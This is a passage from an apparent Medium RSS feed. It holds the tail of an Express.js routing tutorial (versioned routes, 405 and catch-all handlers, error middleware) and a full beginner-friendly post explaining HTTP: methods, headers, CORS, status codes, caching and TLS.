});<br>  }<br>);</pre><p>This is useful when the relationship between the user and post is part of the API semantics.</p><p>However, as discussed earlier, this pattern should not automatically be extended into deeply nested URLs.</p><h3>V2 Routes</h3><p>API versioning allows the backend to introduce changes without immediately breaking existing clients.</p><pre>app.get(<br>  &#39;/api/v2/users/:userId&#39;,<br>  authenticate,<br>  authorize,<br>  (req, res) =&gt; {<br>    const userId = parseInt(req.params.userId);<br>if (isNaN(userId)) {<br>      return res.status(400).json({<br>        error: &#39;Invalid User ID&#39;<br>      });<br>    }<br>    res.json({<br>      version: &#39;v2&#39;,<br>      data: {<br>        id: userId,<br>        fullName: &#39;Johnathan Doe&#39;,<br>        profile: {<br>          email: &#39;john.doe@example.com&#39;,<br>          joined: &#39;2023-01-15&#39;<br>        }<br>      }<br>    });<br>  }<br>);</pre><p>Here, v2 uses a different response structure from v1.</p><p>This allows clients to migrate gradually.</p><h3>Flattened V2 Route</h3><p>Instead of exposing a deeply nested comment URL, we can expose the comment directly.</p><pre>app.get(<br>  &#39;/api/v2/comments/:commentId&#39;,<br>  authenticate,<br>  (req, res) =&gt; {<br>    const commentId = parseInt(req.params.commentId);<br>if (isNaN(commentId)) {<br>      return res.status(400).json({<br>        error: &#39;Invalid Comment ID&#39;<br>      });<br>    }<br>    res.json({<br>      version: &#39;v2&#39;,<br>      data: {<br>        id: commentId,<br>        text: &#39;This is a comment&#39;,<br>        postId: 101,<br>        userId: 42<br>      }<br>    });<br>  }<br>);</pre><p>The comment can be accessed directly because it has its own identifier.</p><h3>Method Not Allowed Handler</h3><p>A route can exist while still rejecting a particular HTTP method.</p><p>For example:</p><pre>app.all(&#39;/api/v1/users/:userId&#39;, (req, res, next) =&gt; {<br>  if (![&#39;GET&#39;, &#39;PUT&#39;, &#39;DELETE&#39;].includes(req.method)) {<br>    return res.status(405).json({<br>      error: &#39;Method Not Allowed&#39;,<br>      allowed: [&#39;GET&#39;, &#39;PUT&#39;, &#39;DELETE&#39;]<br>    });<br>  }<br>next();<br>});</pre><p>If a client sends an unsupported method, the server can return:</p><pre>405 Method Not Allowed</pre><p>instead of incorrectly returning:</p><pre>404 Not Found</pre><h3>Catch-All Route</h3><p>The catch-all route should be registered after the valid application routes.</p><pre>app.all(&#39;*&#39;, (req, res) =&gt; {<br>  res.status(404).json({<br>    error: &#39;Route Not Found&#39;,<br>    path: req.originalUrl,<br>    method: req.method,<br>    message: `The endpoint ${req.method} ${req.originalUrl} does not exist.`<br>  });<br>});</pre><p>This provides a consistent response for requests that do not match any defined endpoint.</p><h3>Global Error Handling Middleware</h3><p>A centralized error handler makes error responses more consistent.</p><pre>app.use((err, req, res, next) =&gt; {<br>  console.error(`[ERROR] ${err.stack}`);<br>const isProduction =<br>    process.env.NODE_ENV === &#39;production&#39;;<br>  res.status(err.status || 500).json({<br>    error: &#39;Internal Server Error&#39;,<br>    ...(isProduction<br>      ? {}<br>      : {<br>          stack: err.stack,<br>          message: err.message<br>        })<br>  });<br>});</pre><p>In production, stack traces should not be exposed to clients.</p><p>During development, however, detailed error information can be useful for debugging.</p><h3>Starting the Server</h3><pre>const PORT = process.env.PORT || 3000;</pre><pre>app.listen(PORT, () =&gt; {<br>  console.log(`API Gateway running on port ${PORT}`);<br>  console.log(<br>    `Environment: ${process.env.NODE_ENV || &#39;development&#39;}`<br>  );<br>});</pre><p>The server listens on the configured port and starts accepting incoming requests.</p><h3>Summary: The Complete Routing Checklist</h3><h3>Network Routing</h3><p>Network routing determines how packets travel between networks.</p><p>Protocols such as BGP and OSPF help routers exchange and calculate routing information.</p><p>Dynamic routing is generally more adaptable because it can respond to changes in network topology.</p><h3>Backend Routing</h3><p>Backend routing maps HTTP requests to application code.</p><p>A route is determined by the combination of the HTTP method and URL path.</p><h3>Static Routes</h3><p>Static routes use fixed paths.</p><p>Examples include:</p><pre>/health<br>/api/books<br>/api/status</pre><p>They are useful for collections, health checks, and other fixed endpoints.</p><h3>Dynamic Routes</h3><p>Dynamic routes contain variables.</p><p>Example:</p><pre>/users/:userId</pre><p>The variable should be validated before it is used by application logic or database queries.</p><h3>Path Parameters</h3><p>Path parameters identify resources.</p><p>Examples include:</p><pre>/users/42<br>/products/100<br>/orders/abc123</pre><p>They should generally represent resource identity rather than filtering criteria.</p><h3>Query Parameters</h3><p>Query parameters are useful for:</p><ul><li>Filtering</li><li>Sorting</li><li>Searching</li><li>Pagination</li></ul><p>Examples:</p><pre>?page=2<br>?limit=20<br>?sort=asc<br>?status=active</pre><p>Sensitive information should generally not be placed in URLs because URLs can appear in logs, browser history, monitoring systems, and other infrastructure.</p><h3>Nested Routes</h3><p>Nested routes represent relationships between resources.</p><p>Keep nesting relatively shallow.</p><p>If a resource has a globally unique identifier, consider exposing it through a top-level endpoint.</p><h3>API Versioning</h3><p>Versioning helps evolve APIs without immediately breaking existing clients.</p><p>For many applications, URL-based versioning such as:</p><pre>/api/v1<br>/api/v2</pre><p>is straightforward and easy to maintain.</p><p>A versioning strategy should also include a clear deprecation and migration process.</p><h3>Middleware</h3><p>Middleware forms a processing pipeline around route handlers.</p><p>Common middleware responsibilities include:</p><ul><li>Logging</li><li>Rate limiting</li><li>Authentication</li><li>Authorization</li><li>Parsing</li><li>Validation</li><li>Compression</li></ul><p>Execution order matters.</p><p>Authentication should happen before authorization because authorization depends on knowing the identity of the requester.</p><h3>Catch-All Routes</h3><p>A catch-all route handles requests that do not match a valid endpoint.</p><p>Return:</p><pre>404 Not Found</pre><p>When the resource or route does not exist.</p><p>Return:</p><pre>405 Method Not Allowed</pre><p>when the route exists but does not support the requested HTTP method.</p><h3>Error Handling</h3><p>Use centralized error handling for consistent API responses.</p><p>Do not expose stack traces or sensitive internal information in production.</p><h3>Final Thoughts</h3><p>Routing is one of those backend concepts that looks simple when you first encounter it.</p><p>You write something like:</p><pre>app.get(&#39;/users/:id&#39;, handler);</pre><p>and it appears that the framework simply sends the request to the function.</p><p>There is much more happening underneath.</p><p>At the network layer, routers determine how packets move between networks.</p><p>At the application layer, the backend framework determines which piece of server-side code should process the HTTP request.</p><p>The complete flow looks roughly like this:</p><pre>Client<br>  ↓<br>DNS<br>  ↓<br>Network Routing<br>  ↓<br>Load Balancer / Reverse Proxy<br>  ↓<br>Application Server<br>  ↓<br>Middleware<br>  ↓<br>Route Matching<br>  ↓<br>Controller / Handler<br>  ↓<br>Database / Services<br>  ↓<br>Response<br>  ↓<br>Client</pre><p>Once you understand this flow, backend frameworks become easier to reason about.</p><p>Express, Django, FastAPI, Spring Boot, and other frameworks may use different APIs and syntax, but the underlying concepts remain similar.</p><p>You need to understand what the client is requesting, how the request reaches your server, how the router identifies the correct endpoint, how middleware processes the request, and how the handler performs the actual business logic.</p><p>That is the difference between simply knowing how to define a route and understanding how routing actually works in a backend system.</p><p>Whether you are building a small REST API or working with a large distributed system containing thousands of endpoints, these fundamentals continue to matter.</p><p>Understanding routing means understanding how a request moves through the system from the client all the way to the code that ultimately handles it.</p><h3>Resources Referenced</h3><ul><li><strong>Sriniously:</strong> “Backend from First Principles” (YouTube)</li><li><strong>Cloudflare:</strong> “What is Routing?” (Learning Center)</li><li><strong>RFC 7231:</strong> HTTP/1.1 Semantics and Content</li><li><strong>RFC 8594:</strong> The Sunset HTTP Header</li></ul><p>Have questions or want a deeper dive into middleware, microservice routing, or framework-specific routing implementations? Let me know in the comments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64cc4f7fdbfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding HTTP: The Backbone of the Web]]></title>
            <link>https://medium.com/@anuragdotdev/understanding-http-the-backbone-of-the-web-3d2109d0facd?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d2109d0facd</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[backend-development]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Sat, 22 Aug 2026 07:07:11 GMT</pubDate>
            <atom:updated>2026-08-22T07:07:11.363Z</atom:updated>
            <content:encoded><![CDATA[<h4>A Deep Dive for Backend Engineers</h4><p><em>From statelessness to HTTP/3, caching, CORS, and beyond</em></p><p>Every web request you’ve ever made, whether scrolling through social media, checking your bank balance, or ordering a pizza, begins with HTTP.</p><p>As a backend engineer, you’ll spend countless hours debugging API issues, optimizing response times, and ensuring your services communicate properly with clients.</p><p>At the heart of all of this is <strong>HTTP</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_byDKhVBEfJa8GZSNS3osw.png" /></figure><h3>From Methods to a Mental Model</h3><p>When I first started learning backend development, I mostly thought of HTTP as a few methods and status codes:</p><ul><li>GET, POST, 200, 404</li></ul><p>But the deeper I went, the more HTTP kept showing up everywhere:</p><ul><li>CORS errors</li><li>Authentication headers</li><li>Cookies</li><li>Caching</li><li>OPTIONS requests</li><li>429 Too Many Requests</li><li>304 Not Modified</li><li>File uploads</li><li>HTTPS</li></ul><p>Eventually, I realized that understanding HTTP properly isn’t just another topic on a backend roadmap.</p><p><strong>It is the foundation underneath the abstractions.</strong></p><p>So let’s break it down.</p><h3>Table of Contents</h3><ol><li>The Core Principles of HTTP</li><li>HTTP Versions and Transport Protocols</li><li>Anatomy of HTTP Messages</li><li>HTTP Headers: The Remote Control</li><li>HTTP Methods and Idempotency</li><li>Cross-Origin Resource Sharing (CORS)</li><li>Standardized Status Codes</li><li>HTTP Caching: Making the Web Faster</li><li>Content Negotiation and Compression</li><li>Handling Large Data Transfers</li><li>Security: TLS and HTTPS</li><li>How Frameworks Build on HTTP</li><li>Debugging HTTP in Production</li></ol><h3>1. The Core Principles of HTTP</h3><p>HTTP stands for <strong>Hypertext Transfer Protocol</strong>. It operates at <strong>Layer 7 of the OSI model</strong>, the application layer. At its simplest, HTTP is a conversation between a client and a server:</p><pre>Client<br>   |<br>   | HTTP Request<br>   v<br>Server<br>   |<br>   | HTTP Response<br>   v<br>Client</pre><p>The client could be:</p><ul><li>A browser</li><li>A mobile application</li><li>Another backend service</li><li>A command-line tool</li><li>An IoT device</li></ul><p>The server receives the request, processes it, and sends a response. But there is one property of HTTP that is particularly important for backend engineers.</p><h3>Statelessness</h3><p>HTTP is <strong>stateless</strong>. The server does not inherently remember previous interactions. Each request contains the information needed to process that particular request.</p><p>Think of it like ordering at a busy coffee shop. Each time you walk up to the counter, you tell the barista what you want. They don’t remember your order from yesterday.</p><p>HTTP works in a similar way:</p><pre>GET /api/profile HTTP/1.1<br>Host: example.com<br>Authorization: Bearer &lt;token&gt;</pre><p>The request carries the information required by the server.</p><p>This doesn’t mean applications cannot maintain state. They obviously do. That’s where things like:</p><ul><li>Cookies</li><li>Session IDs</li><li>Authentication tokens</li><li>Databases</li><li>Caches</li></ul><p>come in.</p><p>The important distinction is:</p><blockquote><strong><em>HTTP itself is stateless. Applications build stateful behavior on top of it.</em></strong></blockquote><h3>Why Statelessness Matters for Scaling</h3><p>Imagine having multiple backend servers:</p><pre>              Load Balancer<br>             /     |     \<br>            /      |      \<br>      Server A Server B Server C</pre><p>If requests aren’t tied to one particular server’s in-memory state, the load balancer can distribute them across available instances.</p><p>That makes horizontal scaling considerably easier.</p><h3>2. HTTP Versions and Transport Protocols</h3><p>HTTP has changed considerably over time because the web has changed.</p><h3>HTTP/1.0</h3><p>HTTP/1.0 commonly opened a new TCP connection for each request. For applications making many requests, repeatedly establishing connections created unnecessary overhead.</p><h3>HTTP/1.1</h3><p>HTTP/1.1 introduced <strong>persistent connections</strong>, allowing connections to be reused. Instead of creating a new connection for every request, multiple requests could use the same connection.</p><p>That reduced connection overhead and latency.</p><h3>HTTP/2</h3><p>HTTP/2 introduced several major improvements:</p><ul><li><strong>Multiplexing:</strong> Multiple streams can share one connection</li><li><strong>Binary framing:</strong> More efficient message framing</li><li><strong>Header compression:</strong> Reduces repetitive header overhead</li></ul><p>Conceptually:</p><pre>              One Connection<br>            /       |       \<br>     Request A Request B Request C</pre><p>Instead of treating every request as an entirely separate connection, multiple streams can coexist over one connection.</p><h3>HTTP/3</h3><p>HTTP/3 takes a different approach. It uses <strong>QUIC</strong>, which runs over UDP rather than TCP.</p><p>One of the important goals is faster connection establishment and better handling of packet loss at the individual stream level.</p><p>You don’t need to memorize every detail of HTTP/3 to build an API. But understanding its evolution helps explain why modern web infrastructure behaves differently from the original HTTP model.</p><h3>3. Anatomy of HTTP Messages</h3><p>If you’re building APIs, you should be comfortable looking at a raw HTTP request.</p><h3>The Request</h3><p>For example:</p><pre>POST /api/users HTTP/1.1<br>Host: example.com<br>Content-Type: application/json<br>Authorization: Bearer eyJhbGciOiJIUzI1NiIs...<br>{<br>  &quot;username&quot;: &quot;johndoe&quot;,<br>  &quot;email&quot;: &quot;john@example.com&quot;<br>}</pre><p>There are several parts here:</p><h3>Request Line</h3><pre>POST /api/users HTTP/1.1</pre><p>It contains:</p><pre>Method + Resource + HTTP Version</pre><h3>Headers</h3><pre>Host: example.com<br>Content-Type: application/json<br>Authorization: Bearer &lt;token&gt;</pre><p>Headers provide metadata and instructions about the request.</p><h3>Blank Line</h3><p>The blank line separates the headers from the body.</p><h3>Body</h3><pre>{<br>  &quot;username&quot;: &quot;johndoe&quot;,<br>  &quot;email&quot;: &quot;john@example.com&quot;<br>}</pre><p>The body contains the data being sent to the server.</p><h3>The Response</h3><p>The server might respond with:</p><pre>HTTP/1.1 201 Created<br>Content-Type: application/json<br>Location: /api/users/123<br>Cache-Control: max-age=3600<br>{<br>  &quot;id&quot;: 123,<br>  &quot;username&quot;: &quot;johndoe&quot;,<br>  &quot;created_at&quot;: &quot;2026-08-21T10:30:00Z&quot;<br>}</pre><p>Again, we have:</p><ul><li>Status line</li><li>Headers</li><li>Blank line</li><li>Response body</li></ul><h3>Why This Matters for Debugging</h3><p>Once you understand this structure, debugging APIs becomes much easier.</p><p>Instead of simply seeing:</p><blockquote><em>“Failed to fetch.”</em></blockquote><p>You can inspect the <strong>HTTP method</strong>, <strong>request URL</strong>, <strong>request headers</strong>, <strong>status code</strong>, and <strong>response body</strong>. You can also determine whether the browser blocked the response or whether the failure happened somewhere upstream, such as a proxy or gateway.</p><p>That is a much more useful debugging mindset.</p><h3>4. HTTP Headers: The Remote Control</h3><p>Headers are key-value pairs that provide metadata and influence how HTTP messages are handled.</p><p>I like to think of them as the <strong>remote control for HTTP</strong>.</p><h3>Request Headers</h3><pre>User-Agent: Mozilla/5.0<br>Authorization: Bearer &lt;token&gt;<br>Accept: application/json</pre><p>These identify the client, provide credentials, and specify what kind of response the client can process.</p><h3>Representation Headers</h3><pre>Content-Type: application/json<br>Content-Length: 1024<br>Content-Encoding: gzip</pre><p>These describe the representation being transferred.</p><h3>Caching Headers</h3><pre>Cache-Control: max-age=3600<br>ETag: &quot;abc123&quot;</pre><p>These control and validate caching behavior.</p><h3>Security Headers</h3><pre>Strict-Transport-Security: ...<br>Content-Security-Policy: ...</pre><p>These help browsers enforce security policies.</p><h3>Cookies</h3><pre>Set-Cookie: session_id=abc123; HttpOnly</pre><h3>Why Headers Matter</h3><p>Once you understand headers, many things that initially feel like framework magic become much easier to reason about. Authentication, caching, compression, CORS, and security policies all rely heavily on HTTP headers.</p><p>A lot of HTTP behavior is communicated through headers. Once you know what to look for, debugging these behaviors becomes much more straightforward.</p><h3>5. HTTP Methods and Idempotency</h3><p>HTTP methods define what the client wants to do.</p><p><strong>GET</strong><br>Fetch data | <strong>Idempotent:</strong> Yes</p><p><strong>POST</strong><br>Create/process | <strong>Idempotent:</strong> No</p><p><strong>PUT</strong><br>Replace a resource | <strong>Idempotent:</strong> Yes</p><p><strong>PATCH</strong><br>Partial update | <strong>Idempotent:</strong> Not generally</p><p><strong>DELETE</strong><br>Remove a resource | <strong>Idempotent:</strong> Yes</p><p><strong>OPTIONS</strong><br>Check server capabilities | <strong>Idempotent:</strong> Yes</p><p>But the interesting part isn’t memorizing these names.</p><p>It’s understanding <strong>idempotency</strong>.</p><h3>What Is Idempotency?</h3><p>An operation is idempotent when performing it multiple times has the same intended effect on server state as performing it once.</p><p>For example:</p><pre>GET /users/123</pre><p>Requesting the same resource multiple times doesn’t normally modify it.</p><p>Similarly:</p><pre>PUT /users/123</pre><p>with the same representation should result in the same intended state.</p><p>Now consider:</p><pre>POST /users</pre><p>Sending the same request twice can create two separate resources. That’s why POST is generally considered non-idempotent.</p><h3>Why Idempotency Matters</h3><p>Because networks fail.</p><p>Imagine a payment request. The server processes the payment successfully, but the response never reaches the client. The client doesn’t know whether the payment succeeded, so it retries.</p><p>Without some form of idempotency mechanism, you could process the payment twice.</p><p>That’s why APIs often use <strong>idempotency keys</strong>:</p><pre>POST /api/payments<br>Idempotency-Key: 7f3c9...</pre><p>The server can recognize repeated attempts using the same key and prevent duplicate processing.</p><p>This is where a seemingly simple HTTP concept becomes important in distributed systems.</p><h3>6. Cross-Origin Resource Sharing: CORS</h3><p>CORS is one of those concepts that becomes much less confusing once you understand what the browser is actually doing.</p><p>You build:</p><pre>Frontend → Backend API</pre><p>and suddenly the browser says:</p><pre>Blocked by CORS policy</pre><h3>What Is CORS?</h3><p>CORS stands for <strong>Cross-Origin Resource Sharing</strong>. Browsers enforce the <strong>Same-Origin Policy</strong>, which restricts a web page from freely reading responses from arbitrary origins.</p><p>An origin is based on:</p><pre>Scheme + Host + Port</pre><p>For example, https://example.com and http://example.com are different origins because their schemes are different.</p><p>CORS provides a controlled mechanism for servers to tell browsers which cross-origin requests are allowed.</p><h3>Simple Requests</h3><p>The browser can send:</p><pre>Origin: https://frontend.example.com</pre><p>The server can respond:</p><pre>Access-Control-Allow-Origin: https://frontend.example.com</pre><p>The browser then determines whether the response can be exposed to the requesting web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4bh7fTXZ23H--9_k0GxwpQ.png" /></figure><h3>Preflight Requests</h3><p>For certain cross-origin requests, the browser first sends an OPTIONS request.</p><p>For example:</p><pre>OPTIONS /api/users<br>Origin: https://frontend.example.com<br>Access-Control-Request-Method: DELETE<br>Access-Control-Request-Headers: Authorization</pre><p>The server can respond with:</p><pre>Access-Control-Allow-Origin: https://frontend.example.com<br>Access-Control-Allow-Methods: DELETE<br>Access-Control-Allow-Headers: Authorization</pre><p>If the browser accepts the policy, it can send the actual request.</p><p>Conceptually:</p><pre>Browser<br>   |<br>   | OPTIONS<br>   | &quot;Can I make this request?&quot;<br>   v<br>Server<br>   |<br>   | Allowed<br>   v<br>Browser<br>   |<br>   | Actual Request<br>   v<br>Server</pre><p>So when you see an unexpected OPTIONS request in DevTools, it may simply be the browser performing a CORS preflight.</p><p>Once you understand that, CORS stops looking like a random backend error.</p><h3>7. Standardized Status Codes</h3><p>Status codes tell the client what happened.</p><p>They are divided into five categories:</p><pre>1xx → Informational<br>2xx → Success<br>3xx → Redirection<br>4xx → Client Error<br>5xx → Server Error</pre><h3>Important Status Codes</h3><h3>200 OK</h3><p>The request succeeded.</p><h3>201 Created</h3><p>A new resource was created.</p><h3>204 No Content</h3><p>The request succeeded without a response body.</p><h3>301 Moved Permanently</h3><p>The resource has permanently moved.</p><h3>302 Found</h3><p>A temporary redirect.</p><h3>304 Not Modified</h3><p>The client can use its cached representation.</p><h3>400 Bad Request</h3><p>The request is invalid or malformed.</p><h3>401 Unauthorized</h3><p>Authentication is missing or invalid.</p><h3>403 Forbidden</h3><p>The server understood the request, but the client doesn’t have permission.</p><h3>404 Not Found</h3><p>The requested resource doesn’t exist.</p><h3>405 Method Not Allowed</h3><p>The resource exists, but the HTTP method isn’t supported for it.</p><h3>409 Conflict</h3><p>The request conflicts with the current state of the resource. A duplicate username is a common example.</p><h3>429 Too Many Requests</h3><p>The client has exceeded a rate limit.</p><h3>Server-Side Status Codes</h3><h3>500 Internal Server Error</h3><p>Something unexpected happened on the server.</p><h3>502 Bad Gateway</h3><p>A gateway or proxy received an invalid response from an upstream server.</p><h3>503 Service Unavailable</h3><p>The service is currently unavailable.</p><h3>504 Gateway Timeout</h3><p>An upstream service didn’t respond within the expected time.</p><p><strong>Don’t use </strong><strong>400 for everything.</strong> Specific status codes give API consumers more information about what actually happened.</p><h3>8. HTTP Caching: Making the Web Faster</h3><p>Caching is one of the most effective ways to reduce unnecessary work.</p><p>Imagine your server generates a large response. The client downloads it. A few seconds later, the client asks for exactly the same resource again.</p><p>If nothing changed, transferring the entire response again isn’t particularly useful.</p><p>HTTP provides mechanisms to handle this.</p><p>A server can return:</p><pre>Cache-Control: max-age=3600<br>ETag: &quot;abc123&quot;<br>Last-Modified: Mon, 21 Aug 2026 10:00:00 GMT</pre><p>Later, the client can send:</p><pre>If-None-Match: &quot;abc123&quot;</pre><p>If the resource hasn’t changed, the server can respond:</p><pre>304 Not Modified</pre><p>The client can then use its cached copy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hVN_cYepiC6f2tutziOKFA.png" /></figure><p>Conceptually:</p><pre>First Request<br><br>Client ───────────────&gt; Server<br>       &lt;──── 200 + Data<br><br><br>Later Request<br><br>Client ───────────────&gt; Server<br>       If-None-Match<br>Client &lt;─────────────── Server<br>       304 Not Modified</pre><p>There is no need to transfer the complete response again. This can reduce bandwidth usage, lower latency, and decrease both server and database workload.</p><h3>Where Caching Matters Most</h3><p>Caching is especially useful for static assets such as CSS, JavaScript, and images, frequently requested resources, CDN-delivered content, and expensive API responses.</p><p>The hard part isn’t learning Cache-Control. The hard part is deciding <strong>what should be cached and for how long</strong>.</p><h3>9. Content Negotiation and Compression</h3><p>Clients and servers don’t always want to communicate using exactly the same representation. HTTP provides <strong>content negotiation</strong> for this.</p><p>A client can send:</p><pre>Accept: application/json<br>Accept-Language: en-US<br>Accept-Encoding: gzip, br</pre><p>The server can respond with:</p><pre>Content-Type: application/json<br>Content-Language: en-US<br>Content-Encoding: gzip</pre><p>The client is essentially communicating its preferences, and the server chooses an appropriate representation.</p><h3>Compression</h3><p>Compression can significantly reduce the amount of data transferred over the network.</p><p>For example, a large JSON response can often become much smaller when compressed with gzip or Brotli.</p><p>The basic tradeoff is:</p><pre>Compression<br>     ↓<br>Less data<br>     ↓<br>Less bandwidth<br>     ↓<br>Potentially faster transfer</pre><p>There is some CPU overhead involved in compression and decompression, but for many applications, the reduction in network traffic is worth the trade-off.</p><p>Compression is especially useful for large JSON responses, HTML, CSS, JavaScript, and other text-based content.</p><h3>10. Handling Large Data Transfers</h3><p>HTTP isn’t limited to JSON APIs. Applications regularly use it to transfer images, videos, documents, ZIP files, backups, and large datasets.</p><h3>Large Client Uploads</h3><p>For binary files, multipart/form-data is commonly used.</p><p>For example:</p><pre>POST /api/uploads HTTP/1.1<br>Content-Type: multipart/form-data; boundary=----Boundary<br><br>------Boundary<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;vacation.jpg&quot;<br>Content-Type: image/jpeg<br>[binary data]<br>------Boundary<br>Content-Disposition: form-data; name=&quot;description&quot;<br>Beach sunset<br>------Boundary--</pre><p>The boundary separates the different parts of the request.</p><p>This allows a single request to contain both files and regular form fields.</p><h3>Large Server Downloads</h3><p>For large files, streaming can prevent the application from having to load the entire file into memory before sending it.</p><p>For example:</p><pre>Content-Type: application/octet-stream<br>Content-Disposition: attachment; filename=&quot;large-file.zip&quot;</pre><p>HTTP also supports range requests:</p><pre>Range: bytes=0-999999</pre><p>This can be useful when resuming interrupted downloads, serving large media files, retrieving only part of a file, and using available bandwidth more efficiently.</p><p>For server-to-client streaming, Server-Sent Events can use:</p><pre>Content-Type: text/event-stream</pre><p>HTTP can handle considerably more than simple JSON request-response APIs.</p><h3>11. Security: TLS and HTTPS</h3><p>No discussion of HTTP is complete without security. TLS, or <strong>Transport Layer Security</strong>, provides three important properties:</p><h3>Encryption</h3><p>Protects data from being read by someone intercepting the connection.</p><h3>Authentication</h3><p>Certificates help establish the identity of the server.</p><h3>Integrity</h3><p>Helps detect whether data has been modified in transit.</p><p>HTTPS is essentially <strong>HTTP over a TLS-secured connection</strong>.</p><p>Conceptually:</p><pre>HTTP<br>Client ─────── HTTP ───────&gt; Server</pre><p>versus:</p><pre>HTTPS<br>Client ─── TLS-protected connection ───&gt; Server</pre><p>The HTTP semantics remain. TLS provides the secure communication layer around them.</p><p>You’ll commonly see:</p><pre>HTTP  → Port 80<br>HTTPS → Port 443</pre><p>For production systems, HTTPS should be treated as a baseline requirement.</p><p>Your users are sending passwords, tokens, personal information, and other sensitive data. That traffic needs protection.</p><h3>12. How Frameworks Build on HTTP</h3><p>It’s easy to use a framework like Express, Django, or Spring Boot and forget that you’re working with HTTP.</p><p>But every framework feature is built on HTTP concepts:</p><p>Framework ConceptHTTP FoundationRoutesURL paths + methodsMiddlewareRequest/response interceptionAuthenticationHeaders + cookiesBody parsingContent-Type + request bodyCORSAccess-Control-* headersCachingCache-Control + ETagRate limitingStatus codes + headers</p><p>When you understand HTTP, you understand <strong>why</strong> frameworks behave the way they do.</p><h3>Example: Express.js</h3><pre>app.get(&#39;/users/:id&#39;, (req, res) =&gt; {<br>  res.json({ id: req.params.id });<br>});</pre><p>This is actually:</p><pre>GET /users/123 HTTP/1.1<br>Host: api.example.com</pre><p>The framework parses the request, extracts the parameter, and sends a JSON response.</p><p>Understanding HTTP helps you write better middleware, debug routing issues, implement custom headers, handle streaming, configure proper caching policies, and secure your endpoints.</p><h3>13. Debugging HTTP in Production</h3><p>When something breaks in production, debugging should follow a systematic process rather than relying on guesswork.</p><h3>1. Check the Network Tab</h3><p>Start with DevTools or your API client and inspect the request method, URL, headers, status code, response body, and request timing. These details can often tell you whether the problem originated on the client, server, or somewhere in between.</p><h3>2. Check the Server Logs</h3><p>Next, inspect the server logs for incoming request details, error messages, exception stacks, and relevant database queries. This helps determine what happened after the request reached your application.</p><h3>3. Check Infrastructure</h3><p>If the application itself looks healthy, investigate the infrastructure layer. Check the load balancer configuration, reverse proxy settings, SSL/TLS certificates, and firewall rules.</p><h3>4. Check Common HTTP Issues</h3><p>HTTP status codes can quickly narrow down the problem. A <strong>400 Bad Request</strong> usually indicates a malformed request or invalid parameters, while <strong>401 Unauthorized</strong> points to missing or invalid authentication. A <strong>403 Forbidden</strong> means the client is authenticated but does not have sufficient permissions, and a <strong>404 Not Found</strong> usually means the URL is incorrect or the requested resource does not exist.</p><p>A <strong>405 Method Not Allowed</strong> means the endpoint does not support the HTTP method being used, while <strong>429 Too Many Requests</strong> indicates that rate limiting has been triggered. A <strong>500 Internal Server Error</strong> generally means an exception occurred inside the application.</p><p>Errors such as <strong>502 Bad Gateway</strong>, <strong>503 Service Unavailable</strong>, and <strong>504 Gateway Timeout</strong> often point toward infrastructure or upstream service problems. A 502 usually means the gateway received an invalid response from an upstream server, a 503 indicates that the service is unavailable or overloaded, and a 504 means the upstream server did not respond within the expected time.</p><h3>Debugging CORS Issues</h3><p>When debugging CORS issues, start by checking the Origin header sent by the browser and the Access-Control-Allow-Origin header returned by the server. Look for preflight OPTIONS requests and verify that the server’s CORS configuration handles them correctly. Also check whether required headers, such as Authorization, are being allowed by the server.</p><h3>Debugging Caching Issues</h3><p>For caching problems, start by inspecting the Cache-Control headers to understand how the response is being cached. Then verify the ETag and Last-Modified values and inspect conditional requests using If-None-Match and If-Modified-Since. Look for 304 Not Modified responses and, when a CDN is involved, verify that its caching configuration is behaving as expected.</p><h3>The Mental Model I Use for HTTP</h3><p>After learning all of this, I don’t think the goal is to memorize every HTTP header.</p><p>The more useful mental model is:</p><pre>HTTP<br>                     |<br>          +----------+----------+<br>          |                     |<br>       REQUEST               RESPONSE<br>          |                     |<br>    +-----+------+        +-----+------+<br>    |     |      |        |     |      |<br> Method  URL   Headers  Status Headers Body<br>          |<br>         Body</pre><p>Then build the surrounding concepts:</p><pre>HTTP<br>│<br>├── Methods<br>│   ├── GET<br>│   ├── POST<br>│   ├── PUT<br>│   ├── PATCH<br>│   └── DELETE<br>│<br>├── Headers<br>│   ├── Authentication<br>│   ├── Caching<br>│   ├── Compression<br>│   └── Security<br>│<br>├── Status Codes<br>│   ├── 2xx<br>│   ├── 3xx<br>│   ├── 4xx<br>│   └── 5xx<br>│<br>├── Browser Security<br>│   └── CORS<br>│<br>├── Performance<br>│   ├── Caching<br>│   ├── Compression<br>│   └── HTTP/2 + HTTP/3<br>│<br>└── Security<br>    └── TLS / HTTPS</pre><p>Once these pieces connect, backend development starts making much more sense.</p><p>Your Express route isn’t just an Express route. It’s an HTTP endpoint.</p><p>Your authentication token isn’t just some random string. It’s being transported through HTTP, usually through headers or cookies.</p><p>Your CORS error isn’t just an annoying browser message. It’s part of the browser’s security model.</p><p>Your 304 isn’t just a weird status code. It’s part of HTTP’s caching mechanism.</p><p>Your 429 isn’t just an error. It tells you that the server has applied rate limiting.</p><p>And your POST endpoint isn’t automatically safe to retry. That’s where <strong>idempotency</strong> becomes important.</p><h3>Why Backend Engineers Should Learn HTTP</h3><p>It’s tempting to jump straight into frameworks.</p><p>Learn Express. Build routes. Connect a database. Add authentication. Deploy the application.</p><p>That’s fine for getting started.</p><p>But frameworks are abstractions. HTTP is one of the layers underneath those abstractions.</p><p>When something breaks, you eventually have to look below the framework.</p><p>You open the Network tab. Inspect the request. Inspect the response. Check the headers. Look at the status code. Check whether the browser performed a CORS preflight. Look at caching behavior. Inspect redirects. Check the timing.</p><p>And suddenly the problem becomes much easier to reason about.</p><p>You don’t need to become an HTTP protocol expert before building your first API. But if you’re serious about backend engineering, you should eventually be comfortable looking at a raw HTTP request and understanding what its important parts are doing.</p><p>Because frameworks change. Libraries change. Cloud platforms change. Architecture patterns change.</p><p><strong>HTTP remains one of the fundamental contracts connecting your software to the rest of the world.</strong></p><p>And understanding that contract is one of the best foundations you can build as a backend 